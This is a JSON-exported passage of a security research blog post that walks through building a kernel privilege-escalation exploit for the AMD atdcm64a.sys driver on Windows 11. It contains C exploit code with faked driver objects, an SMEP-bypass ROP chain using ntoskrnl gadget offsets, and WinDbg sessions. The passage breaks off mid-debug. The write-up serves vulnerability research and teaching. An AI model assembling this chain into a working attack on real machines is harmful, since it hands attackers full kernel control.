{"id":4100,"date":"2024-10-09T14:53:16","date_gmt":"2024-10-09T12:53:16","guid":{"rendered":"https:\/\/security.humanativaspa.it\/?p=4100"},"modified":"2025-09-24T08:30:01","modified_gmt":"2025-09-24T08:30:01","slug":"exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3","status":"publish","type":"post","link":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/","title":{"rendered":"Exploiting AMD atdcm64a.sys arbitrary pointer dereference &#8211; Part 3"},"content":{"rendered":"<p>In the <a href=\"https:\/\/hnsecurity.it\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/\">previous part<\/a> of the <a href=\"https:\/\/hnsecurity.it\/tag\/atdcm64a\/\">series<\/a> we successfully confirmed the vulnerabilities we <a href=\"https:\/\/hnsecurity.it\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-1\/\">discovered<\/a> in our target kernel driver by proving that we can <strong>leak the base address of ntoskrnl.exe<\/strong> and <strong>hijack the execution flow to an arbitrary location of our choice<\/strong>.<\/p>\n<p>In this final part, we will craft a <strong>full exploit<\/strong> that allows us to <strong>enable all privileges on Windows<\/strong>.<\/p>\n<div>\n<div>\n<h2>Exploitation<\/h2>\n<\/div>\n<\/div>\n<div>\n<div>\n<p>Now that we&#8217;ve confirmed both vulnerabilities we can start <strong>crafting an exploit<\/strong>. In this phase the first step is to look for research papers or blog posts showing how to exploit this type of vulnerability. After googling a bit I&#8217;ve found an interesting <a href=\"https:\/\/www.coresecurity.com\/sites\/default\/files\/private-files\/publications\/2016\/05\/Windows%20SMEP%20bypass%20U%3DS.pdf\">presentation<\/a> showing how to exploit such a vulnerability and what seems the related <a href=\"https:\/\/www.exploit-db.com\/exploits\/45149\">exploit code<\/a>.<\/p>\n<\/div>\n<\/div>\n<div>\n<div>\n<p>The general idea of the research is the following:<\/p>\n<ol>\n<li>Redirect the execution flow to a <strong>ROP gadget<\/strong> that allows to perform <strong>stack pivoting<\/strong>. In a few words stack pivoting means <strong>modifying the stack pointer<\/strong>, that is <strong>RSP<\/strong>, to point to an <strong>user-mode address X that we control<\/strong>.<\/li>\n<li>Execute a <strong>ROP chain<\/strong> stored at <strong>address X<\/strong> that allows to obtain <strong>LPE<\/strong>.<\/li>\n<li>Restore execution.<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<p><em>The exploit shown here won&#8217;t work when <a href=\"https:\/\/connormcgarr.github.io\/hvci\/\">HVCI<\/a> is enabled.<\/em><\/p>\n<div>\n<h3>Crafting the ROP chain<\/h3>\n<div>\n<p>In order to retrieve gadgets from ntoskrnl.exe I&#8217;ve decided to use <a href=\"https:\/\/github.com\/sashs\/Ropper\">ropper<\/a>. A very handy feature of ropper is being able to find specific gadgets based on a syntax similar to &#8220;regex&#8221;.<\/p>\n<\/div>\n<div>\n<p>Let&#8217;s first look for our <em>pivot gadget<\/em>. We must find a gadget that <strong>loads in<\/strong> <strong>RSP<\/strong>\u00a0<strong>a value that is below the maximum user-mode address and is a multiple of 8<\/strong>. Multiple of 8 means the last 3 bits of the address must be set to 0. Based on the research paper we are referencing, we can also use gadgets that <strong>load a value in ESP<\/strong> as <strong>the upper 4 bytes of RSP will be set to 0<\/strong>:<\/p>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"23,25\">$ python Ropper.py\r\n(ropper)&gt; file \/mnt\/c\/DRIVERS\/windows11_ntoskrnl.exe\r\n[INFO] Load gadgets from cache\r\n[LOAD] loading... 100%\r\n[LOAD] removing double gadgets... 100%\r\n[INFO] File loaded.\r\n(windows11_ntoskrnl.exe\/PE\/x86_64)&gt; search mov rsp, %\r\n[INFO] Searching for gadgets: mov rsp, %\r\n\r\n\r\n[INFO] File: \/mnt\/c\/DRIVERS\/windows11_ntoskrnl.exe\r\n0x00000001404126d8: mov rsp, qword ptr [rcx + 0x10]; jmp rdx;\r\n[...]\r\n0x00000001404200df: mov rsp, rbp; pop rbp; ret;\r\n\r\n\r\n(windows11_ntoskrnl.exe\/PE\/x86_64)&gt; search mov esp, %\r\n[INFO] Searching for gadgets: mov esp, %\r\n\r\n\r\n[INFO] File: \/mnt\/c\/DRIVERS\/windows11_ntoskrnl.exe\r\n[...]\r\n0x0000000140b3a980: mov esp, 0xf6000000; ret;\r\n[...]\r\n0x000000014040ac03: mov esp, ebx; ret;\r\n[...]\r\n\r\n\r\n(windows11_ntoskrnl.exe\/PE\/x86_64)&gt;<\/pre>\n<\/div>\n<div>\n<p>We found two interesting gadgets. Recall that <strong>we can control the value of RBX <\/strong>so<strong> we control EBX<\/strong>. Let&#8217;s inspect the gadgets in WinDbg:<\/p>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">0: kd&gt; uu nt+0x0b3a980\r\nnt!MxCreatePfn+0x94:\r\nfffff800`2653a980 c22041 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0ret \u00a0 \u00a0 4120h\r\nfffff800`2653a983 83c104 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0add \u00a0 \u00a0 ecx,4\r\nfffff800`2653a986 443bc9 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0cmp \u00a0 \u00a0 r9d,ecx\r\nfffff800`2653a989 72b6 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0jb \u00a0 \u00a0 \u00a0nt!MxCreatePfn+0x55 (fffff800`2653a941)\r\nfffff800`2653a98b 89bb00010000 \u00a0 \u00a0mov \u00a0 \u00a0 dword ptr [rbx+100h],edi\r\nfffff800`2653a991 443bce \u00a0 \u00a0 \u00a0 \u00a0 \u00a0cmp \u00a0 \u00a0 r9d,esi\r\nfffff800`2653a994 0f82ac620100 \u00a0 \u00a0jb \u00a0 \u00a0 \u00a0nt!MiAssignTopLevelRanges+0x12a (fffff800`26550c46)\r\nfffff800`2653a99a 488b6c2428 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0 rbp,qword ptr [rsp+28h]\r\n0: kd&gt; uu nt+0x040ac03\r\nnt!SymCryptScsTableLoad128Xmm+0x187:\r\nfffff800`25e0ac03 8be3 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0 esp,ebx\r\nfffff800`25e0ac05 c3 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0ret\r\n[...]\r\n0: kd&gt;<\/pre>\n<\/div>\n<div>\n<p>The first one <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">mov esp, 0xf6000000; ret;<\/code> actually is a <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">ret 4120h<\/code> in WinDbg. On the other hand, the second one matches with what we see in WinDbg, so we <strong>choose the second one<\/strong>. We observed previously that <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rbx<\/code> corresponds to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object+0x30<\/code>. So when allocating <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object<\/code> we just need to call <em><strong>VirtualAlloc()<\/strong><\/em> specifying the <strong>address that we want in the first parameter<\/strong>.<\/p>\n<\/div>\n<div>\n<p>At this point you can try to modify again the function pointer with our <strong>stack pivot gadget<\/strong>, set the breakpoints, re-launch the exploit and notice how RSP changes. Below the modified <em>arbitraryCallDriver()<\/em> function.<\/p>\n<\/div>\n<\/div>\n<div>\n<div>\n<p><em>For the moment the shellcode could be a dummy shellcode made of dummy instructions such as NOPs (\\x90) or whatever you want<\/em>.<\/p>\n<\/div>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">char shellcode[] = \"\\x48\\x89[...]\\xC3\";\r\n\r\n[...]\r\nBOOL arbitraryCallDriver(PVOID outputBuffer, SIZE_T outSize) {\r\n    char* inputBuffer = (char*)VirtualAlloc(\r\n        NULL,\r\n        21,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n\r\n    char* object = (char*)VirtualAlloc(\r\n        (LPVOID)(0x0000001afeffe000),\r\n        0x12000,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n    printf(\"[+] object = 0x%p\\n\", object);\r\n    object = (char*)(0x1aff000000 - 0x30);\r\n    printf(\"[+] second object = 0x%p\\n\", object);\r\n\r\n    PDEVICE_OBJECT ptr = (PDEVICE_OBJECT)(object + 0x30);\r\n\r\n    memset(object, 0x41, 0x30);\r\n\r\n    printf(\"[+] ptr = 0x%p\\n\", ptr);\r\n    char* object2 = (char*)VirtualAlloc(\r\n        NULL,\r\n        SIZE_BUF,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n\r\n    printf(\"[+] object2 = 0x%p\\n\", object2); \/\/0x0000001af5ff0000\r\n    memset(object2, 0x43, 0x30);\r\n\r\n    char* driverObject = (char*)VirtualAlloc(\r\n        NULL,\r\n        SIZE_BUF,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n\r\n    memset(driverObject, 0x50, SIZE_BUF);\r\n    printf(\"[+] driverObject = 0x%p\\n\", driverObject);\r\n    char* ptrDriver = driverObject + 0x30;\r\n    char* pDriverFunction = ptrDriver + 0x1b*8+0x70;\r\n\r\n    *((PDWORD64)pDriverFunction) = g_ntbase+ 0x40ac03;   \/\/mov esp, ebx; ret\r\n\r\n    ptr-&gt;AttachedDevice = (PDEVICE_OBJECT)(object2 + 0x30);\r\n\r\n    \r\n    memset(ptr-&gt;AttachedDevice, 0x42, SIZE_BUF-0x40);\r\n    \/\/*((DWORD*)ptr-&gt;AttachedDevice) = 0xf6000000;\r\n\r\n    printf(\"[+] ptr-&gt;AttachedDevice = 0x%p\\n\", ptr-&gt;AttachedDevice);\r\n    \r\n    PULONGLONG fake_stack = (PULONGLONG)VirtualAlloc((LPVOID)0x00000000feffe000, 0x12000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n    \r\n    if (fake_stack == 0) {\r\n        printf(\"[-] VirtualAlloc failed with error: %d\\n\", GetLastError());\r\n        exit(0);\r\n    }\r\n    printf(\"[*] fake_stack = 0x%p\\n\", fake_stack);\r\n\r\n    PULONGLONG ropStack = (PULONGLONG)fake_stack + 0x2000;\r\n\r\n    memset(fake_stack, 0x41, 0x12000);\r\n    \r\n    printf(\"[*] ropStack = 0x%p\\n\", ropStack);\r\n    DWORD index = 0;\r\n\r\n    char* scbase = (char*)VirtualAlloc((LPVOID)0x1a1a1a000000, 0x5000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n    if (!VirtualLock(scbase, 0x5000)) {\r\n        printf(\"[-] virtualLock failed with error: %d\\n\", GetLastError());\r\n        exit(0);\r\n    }\r\n    memset(scbase, 0x42, 0x5000);\r\n    char* sc = scbase + 0x3500;\r\n    memcpy(sc, shellcode, sizeof(shellcode));\r\n\r\n    printf(\"[*] sc = 0x%p\\n\", sc);\r\n\r\n    \/\/TODO: beginning of rop chain at ropStack\r\n\r\n#ifdef _DEBUG\r\n    for (int i = 0; i &lt; index; i++) {\r\n        printf(\"ropStack[%d] %p : 0x%p\\n\", i, &amp;ropStack[i], ropStack[i]);\r\n    }\r\n#endif\r\n    ptr-&gt;AttachedDevice-&gt;DriverObject = (_DRIVER_OBJECT*)ptrDriver;\r\n    ptr-&gt;AttachedDevice-&gt;AttachedDevice = 0;\r\n    char* ptr2 = inputBuffer;\r\n    *(ptr2) = 0;\r\n    ptr2 += 1;\r\n    *((PDWORD64)ptr2) = (DWORD64)ptr;\r\n    \r\n\r\n    printf(\"[+] User buffer allocated: 0x%8p\\n\", inputBuffer);\r\n\r\n    DWORD bytesRet = 0;\r\n\r\n    getchar();\r\n    BOOL res = DeviceIoControl(\r\n        g_device,\r\n        IOCTL_ARBITRARYCALLDRIVER,\r\n        inputBuffer,\r\n        SIZE_BUF,\r\n        outputBuffer,\r\n        outSize,\r\n        &amp;bytesRet,\r\n        NULL\r\n    );\r\n\r\n    printf(\"[*] sent IOCTL_ARBITRARYCALLDRIVER \\n\");\r\n    if (!res) {\r\n        printf(\"[-] DeviceIoControl failed with error: %d\\n\", GetLastError());\r\n    }\r\n    return res;\r\n}\r\n[...]<\/pre>\n<div>\n<div>\n<p>The idea of the code above is to allocate <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object<\/code> in a way that points at address <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">0x0000001afeffffd0<\/code>. This way our first rogue <em>_DRIVER_OBJECT<\/em> will point to address <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object+0x30 = 0x0000001aff000000<\/code>.<\/p>\n<\/div>\n<div>\n<p>When reaching the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">jmp rax<\/code> instruction <strong>RBX<\/strong> will contain the value <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">0x0000001aff000000<\/code> that is <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object+0x30<\/code>. This means that when we execute our stack pivoting gadget <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">mov esp, ebx; ret<\/code> <strong>RSP<\/strong> will be loaded with value <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">0x00000000ff000000<\/code>.<\/p>\n<\/div>\n<div>\n<p>And in fact our <strong>ropStack<\/strong> variable will exactly point at address <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">0x00000000ff000000<\/code>. So we are left with filling the memory referenced by <strong>ropStack<\/strong> with a <strong>ROP chain that bypasses SMEP<\/strong> and finally <strong>redirects execution to our shellcode<\/strong>.<\/p>\n<\/div>\n<div>Here I provided a diagram that hopefully summarizes the different data structures in user-space memory with their addresses:<\/div>\n<div>\n<figure id=\"attachment_3837\" aria-describedby=\"caption-attachment-3837\" style=\"width: 1002px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3837 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-51-1.png\" alt=\"\" width=\"1002\" height=\"435\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-51-1.png 1002w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-51-1-300x130.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-51-1-768x333.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-51-1-350x152.png 350w\" sizes=\"(max-width: 1002px) 100vw, 1002px\" \/><figcaption id=\"caption-attachment-3837\" class=\"wp-caption-text\">Diagram of the structures allocated by arbitraryCallDriver()<\/figcaption><\/figure>\n<\/div>\n<\/div>\n<\/div>\n<div>\n<h4>First SMEP bypass ROP Chain<\/h4>\n<div>\n<p>Now we can start crafting our ROP chain in order to bypass SMEP. Initially I crafted the following ROP chain (<strong>g_ntbase<\/strong> holds the <strong>base address of ntoskrnl.exe<\/strong>. I remind we can retrieve it by exploiting the <strong>arbitrary MSR read<\/strong>).<\/p>\n<\/div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">\/\/&lt;call MiGetPteAddress in order to get PTE. PTE address returned in rax&gt;\r\nropStack[index] = g_ntbase + 0x2053e5; index++; \/\/ pop rcx; ret;\r\nropStack[index] = (ULONGLONG)(scbase+0x3000); index++; \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\/\/ shellcode address pte\r\nropStack[index] = g_ntbase + 0x203beb; index++; \/\/ pop rax; ret;\r\nropStack[index] = g_ntbase + 0x2abae4; index++; \/\/address of nt!MiGetPteAddress\r\nropStack[index] = g_ntbase + 0x2803b8; index++; \/\/ jmp rax;\r\n\/\/ &lt;call MiGetPteAddress in order to get PTE. PTE address returned in rax&gt;\r\n\r\n\r\n\/\/ &lt;Flip U=S bit&gt; \u00a0PTE VA already in rax\r\nropStack[index] = g_ntbase + 0x20FA62; index++; \/\/ pop rcx; ret;\r\nropStack[index] = 0x0000000000000063; index++; \u00a0\/\/ DIRTY + ACCESSED + R\/W + PRESENT\r\nropStack[index] = g_ntbase + 0x4531f1; index++; \/\/ mov byte ptr[rax], cl; ret;\r\nropStack[index] = g_ntbase + 0x370050; index++; \/\/ wbinvd; ret;\r\n\/\/ &lt;\/Flip U=S bit&gt;\r\n\r\n\r\n\/\/ &lt;shellcode&gt;\r\nropStack[index] = (ULONGLONG)sc; index++; \u00a0 \u00a0 \u00a0\/\/ Shellcode address\r\n\/\/ &lt;shellcode&gt;<\/pre>\n<div>\n<p>The ROP chain above does the following:<\/p>\n<ol>\n<li>Call <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">nt!MiGetPteAddress<\/code> passing as <strong>input the address of our shellcode<\/strong> (later we will think about the shellcode too), in order to retrieve the <strong>address of the corresponding PTE<\/strong>, and stores the <strong>result in RAX<\/strong>.<\/li>\n<li>Set the bits DIRTY, ACCESSED, R\/W, and PRESENT to <strong>1<\/strong> and <strong>OWNER bit<\/strong> <strong>to<\/strong> <strong>0<\/strong> of the <strong>PTE<\/strong>.<\/li>\n<li>Execute the instruction <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">wbinvd<\/code> in order to <strong>flush the instruction cache<\/strong> and <strong>ensure<\/strong> ROP gadgets are executed and the <strong>PTE is modified<\/strong>.<\/li>\n<li>Execute the shellcode.<\/li>\n<\/ol>\n<\/div>\n<div>\n<p>So now we can just recompile the exploit, set a <strong>breakpoint<\/strong> at the <strong>first gadget of our ROP chain<\/strong> and launch it (at this point I think it&#8217;s unnecessary to use the IDA Pro Debugger so I suggest switching to WinDbg). You can see the breakpoint gets hit:<\/p>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">0: kd&gt; ba e 1 nt+0x2053e5\r\n0: kd&gt; g\r\nBreakpoint 0 hit\r\nnt!KeRemoveQueueDpcEx+0x125:\r\nfffff800`25c053e5 59 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0pop \u00a0 \u00a0 rcx\r\n0: kd&gt; r\r\nrax=fffff80025e0ac03 rbx=0000001aff000000 rcx=000001f6a94d0030\r\nrdx=ffffe18f37ad8000 rsi=ffffe18f365aa00d rdi=000001f6a94d0030\r\nrip=fffff80025c053e5 rsp=00000000ff000008 rbp=0000000000000000\r\n\u00a0r8=000000000000001b \u00a0r9=000001f6a94d0030 r10=fffff80025e0ac03\r\nr11=0000000000000000 r12=0000000000000004 r13=ffffe18f35dfa4c0\r\nr14=ffffe18f35dfa3f0 r15=0000000000000000\r\niopl=0 \u00a0 \u00a0 \u00a0 \u00a0 nv up ei pl zr na po nc\r\ncs=0010 \u00a0ss=0018 \u00a0ds=002b \u00a0es=002b \u00a0fs=0053 \u00a0gs=002b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 efl=00040246\r\nnt!KeRemoveQueueDpcEx+0x125:\r\nfffff800`25c053e5 59 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0pop \u00a0 \u00a0 rcx\r\n0: kd&gt; p\r\nKDTARGET: Refreshing KD connection\r\n\r\n\r\n*** Fatal System Error: 0x0000000a\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0(0x00000000FEFFF319,0x00000000000000FF,0x00000000000000F6,0xFFFFF80025E18BE0)\r\n\r\n\r\n[...]\r\n0: kd&gt; !analyze -v\r\n[...]\r\n\r\n\r\nIRQL_NOT_LESS_OR_EQUAL (a)\r\nAn attempt was made to access a pageable (or completely invalid) address at an\r\ninterrupt request level (IRQL) that is too high. \u00a0This is usually\r\ncaused by drivers using improper addresses.\r\nIf a kernel debugger is available get the stack backtrace.\r\nArguments:\r\nArg1: 00000000fefff319, memory referenced\r\nArg2: 00000000000000ff, IRQL\r\nArg3: 00000000000000f6, bitfield :\r\n\u00a0 \u00a0 bit 0 : value 0 = read operation, 1 = write operation\r\n\u00a0 \u00a0 bit 3 : value 0 = not an execute operation, 1 = execute operation (only on chips which support this level of status)\r\nArg4: fffff80025e18be0, address which referenced memory\r\n\r\n\r\nDebugging Details:\r\n------------------\r\n\r\n\r\n[...]\r\n\r\n\r\nBUGCHECK_CODE: \u00a0a\r\n\r\n\r\nBUGCHECK_P1: fefff319\r\n\r\n\r\nBUGCHECK_P2: ff\r\n\r\n\r\nBUGCHECK_P3: f6\r\n\r\n\r\nBUGCHECK_P4: fffff80025e18be0\r\n\r\n\r\n[...]\r\nA fatal system error has occurred.\r\nDebugger entered on first try; Bugcheck callbacks have not been invoked.\r\n\r\n\r\nA fatal system error has occurred.\r\n\r\n\r\n0: kd&gt; k\r\n\u00a0# Child-SP \u00a0 \u00a0 \u00a0 \u00a0 \u00a0RetAddr \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Call Site\r\n00 fffff800`28a944c8 fffff800`25f668e2 \u00a0 \u00a0 nt!DbgBreakPointWithStatus\r\n01 fffff800`28a944d0 fffff800`25f65fa3 \u00a0 \u00a0 nt!KiBugCheckDebugBreak+0x12\r\n02 fffff800`28a94530 fffff800`25e16c07 \u00a0 \u00a0 nt!KeBugCheck2+0xba3\r\n03 fffff800`28a94ca0 fffff800`25e2c4e9 \u00a0 \u00a0 nt!KeBugCheckEx+0x107\r\n04 fffff800`28a94ce0 fffff800`25e27a34 \u00a0 \u00a0 nt!KiBugCheckDispatch+0x69\r\n05 fffff800`28a94e20 fffff800`25e18be0 \u00a0 \u00a0 nt!KiPageFault+0x474\r\n06 fffff800`28a94fb0 fffff800`25e19567 \u00a0 \u00a0 nt!KiInterruptSubDispatchNoLockNoEtw+0x20\r\n07 00000000`fefff2f0 fffff800`25d1375f \u00a0 \u00a0 nt!KiInterruptDispatchNoLockNoEtw+0x37\r\n08 00000000`fefff480 fffff800`264ae2a6 \u00a0 \u00a0 nt!KeThawExecution+0xef\r\n09 00000000`fefff4b0 fffff800`25d0b38a \u00a0 \u00a0 nt!KdExitDebugger+0xc2\r\n0a 00000000`fefff4e0 fffff800`264ae117 \u00a0 \u00a0 nt!KdpReport+0x136\r\n0b 00000000`fefff520 fffff800`25d0a93e \u00a0 \u00a0 nt!KdpTrap+0x37\r\n0c 00000000`fefff570 fffff800`25d0981f \u00a0 \u00a0 nt!KdTrap+0x22\r\n0d 00000000`fefff5b0 fffff800`25e2c63c \u00a0 \u00a0 nt!KiDispatchException+0x19f\r\n0e 00000000`fefffc90 fffff800`25e24423 \u00a0 \u00a0 nt!KiExceptionDispatch+0x13c\r\n0f 00000000`fefffe70 fffff800`25c053e5 \u00a0 \u00a0 nt!KxDebugTrapOrFault+0x423\r\n10 00000000`ff000008 fffff800`25c03beb \u00a0 \u00a0 nt!KeRemoveQueueDpcEx+0x125\r\n11 00000000`ff000018 00001a1a`1a003500 \u00a0 \u00a0 nt!CmSiMapViewOfSection+0x57\r\n12 00000000`ff000078 41414141`41414141 \u00a0 \u00a0 0x00001a1a`1a003500\r\n13 00000000`ff000080 41414141`41414141 \u00a0 \u00a0 0x41414141`41414141\r\n14 00000000`ff000088 41414141`41414141 \u00a0 \u00a0 0x41414141`41414141\r\n15 00000000`ff000090 41414141`41414141 \u00a0 \u00a0 0x41414141`41414141\r\n[...]<\/pre>\n<\/div>\n<div>\n<p>You can see an error happened when trying to dereference memory at address <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">0x00000000fefff319<\/code> close to our <strong>ropStack<\/strong>. I thought it may happen due to a <strong>page fault<\/strong> (as you can read from WinDbg). So I tried modifying the code as follows:<\/p>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">[...]\r\nif (!VirtualLock((char*)ropStack - 0x3000, 0x10000)) {\r\n\u00a0 \u00a0 \u00a0 \u00a0 printf(\"[-] virtualLock failed with error: %d\\n\", GetLastError());\r\n\u00a0 \u00a0 \u00a0 \u00a0 exit(0);\r\n\u00a0 \u00a0 }\r\n[...]<\/pre>\n<p>The idea is to call <em><strong>VirtualLock()<\/strong><\/em> on the pages containing our ROP chain and also on the adjacent pages. Based on <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/memoryapi\/nf-memoryapi-virtuallock\">MSDN<\/a>, this Win32 API is supposed to <strong>lock the pages in physical memory<\/strong> and should therefore avoid page faults. However, I wasn&#8217;t able to solve the issue.<\/p>\n<\/div>\n<div>\n<p>On the other hand I noticed analyzing the stack trace a couple of functions such as <em>nt!KdTrap<\/em>\u00a0and <em>nt!KdExitDebugger<\/em>. So I thought maybe the <strong>issue is stepping with the debugger<\/strong>. In fact, if you try to <strong>set a breakpoint<\/strong>\u00a0for example on the <strong>fifth ROP gadget<\/strong>, you will notice the breakpoint gets hit confirming the <strong>ROP gadgets are actually executed successfully!<\/strong><\/p>\n<p>So, it looks like we just <strong>can&#8217;t debug our ROP chain<\/strong> <strong>but we can execute it \ud83d\ude05<\/strong><\/p>\n<\/div>\n<div>\n<p>If we <strong>set a breakpoint<\/strong> directly to the <strong>first instruction of our shellcode<\/strong> we can see we successfully hit the breakpoint. At this point we can also notice the <strong>owner bit of the shellcode&#8217;s PTE is set to 0<\/strong> (<strong>supervisor mode<\/strong>) confirming the ROP chain was successful:<\/p>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">0: kd&gt; !process 0 0 DrvExpTemplate.exe\r\nPROCESS ffffe18f36e9e0c0\r\n\u00a0 \u00a0 SessionId: 1 \u00a0Cid: 06f0 \u00a0 \u00a0Peb: ae8969f000 \u00a0ParentCid: 0720\r\n\u00a0 \u00a0 DirBase: 119fd2002 \u00a0ObjectTable: ffff9602fa50b4c0 \u00a0HandleCount: \u00a051.\r\n\u00a0 \u00a0 Image: DrvExpTemplate.exe\r\n\r\n\r\n0: kd&gt; .process \/r \/p \/i ffffe18f36e9e0c0\r\nYou need to continue execution (press 'g' &lt;enter&gt;) for the context\r\nto be switched. When the debugger breaks in again, you will be in\r\nthe new process context.\r\n0: kd&gt; g\r\nBreak instruction exception - code 80000003 (first chance)\r\nnt!DbgBreakPointWithStatus:\r\nfffff800`25e20ca0 cc \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0int \u00a0 \u00a0 3\r\n1: kd&gt; dx @$curprocess.Name\r\n@$curprocess.Name : DrvExpTemplate.exe\r\n\u00a0 \u00a0 Length \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 : 0x12\r\n1: kd&gt; ba e 1 0x00001a1a1a003500\r\n1: kd&gt; g\r\n... Retry sending the same data packet for 64 times.\r\nThe transport connection between host kernel debugger and target Windows seems lost.\r\nplease try resync with target, recycle the host debugger, or reboot the target Windows.\r\nBreakpoint 0 hit\r\n00001a1a`1a003500 4889c2 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0 rdx,rax\r\n0: kd&gt; !pte 0x00001a1a1a003500\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0VA 00001a1a1a003500\r\nPXE at FFFFFEFF7FBFD1A0 \u00a0 \u00a0PPE at FFFFFEFF7FA34340 \u00a0 \u00a0PDE at FFFFFEFF46868680 \u00a0 \u00a0PTE at FFFFFE8D0D0D0018\r\ncontains 8A00000222774867 \u00a0contains 0A00000129075867 \u00a0contains 0A000001BBD76867 \u00a0contains 08000001BCC7A863\r\npfn 222774 \u00a0 \u00a0---DA--UW-V \u00a0pfn 129075 \u00a0 \u00a0---DA--UWEV \u00a0pfn 1bbd76 \u00a0 \u00a0---DA--UWEV \u00a0pfn 1bcc7a \u00a0 \u00a0---DA--KWEV<\/pre>\n<\/div>\n<div>\n<p>Now, let&#8217;s try to set a breakpoint at the <strong>second instruction<\/strong> in the shellcode and see if we hit it:<\/p>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">0: kd&gt; !process 0 0 DrvExpTemplate.exe\r\nPROCESS ffffe18f3578e0c0\r\n\u00a0 \u00a0 SessionId: 1 \u00a0Cid: 0c08 \u00a0 \u00a0Peb: ede7a83000 \u00a0ParentCid: 0720\r\n\u00a0 \u00a0 DirBase: 1b7fd5002 \u00a0ObjectTable: ffff9602ff106c40 \u00a0HandleCount: \u00a051.\r\n\u00a0 \u00a0 Image: DrvExpTemplate.exe\r\n\r\n\r\n0: kd&gt; .process \/r \/i \/p ffffe18f3578e0c0\r\nYou need to continue execution (press 'g' &lt;enter&gt;) for the context\r\nto be switched. When the debugger breaks in again, you will be in\r\nthe new process context.\r\n0: kd&gt; g\r\nBreak instruction exception - code 80000003 (first chance)\r\nnt!DbgBreakPointWithStatus:\r\nfffff800`25e20ca0 cc \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0int \u00a0 \u00a0 3\r\n1: kd&gt; dx @$curprocess.Name\r\n@$curprocess.Name : DrvExpTemplate.exe\r\n\u00a0 \u00a0 Length \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 : 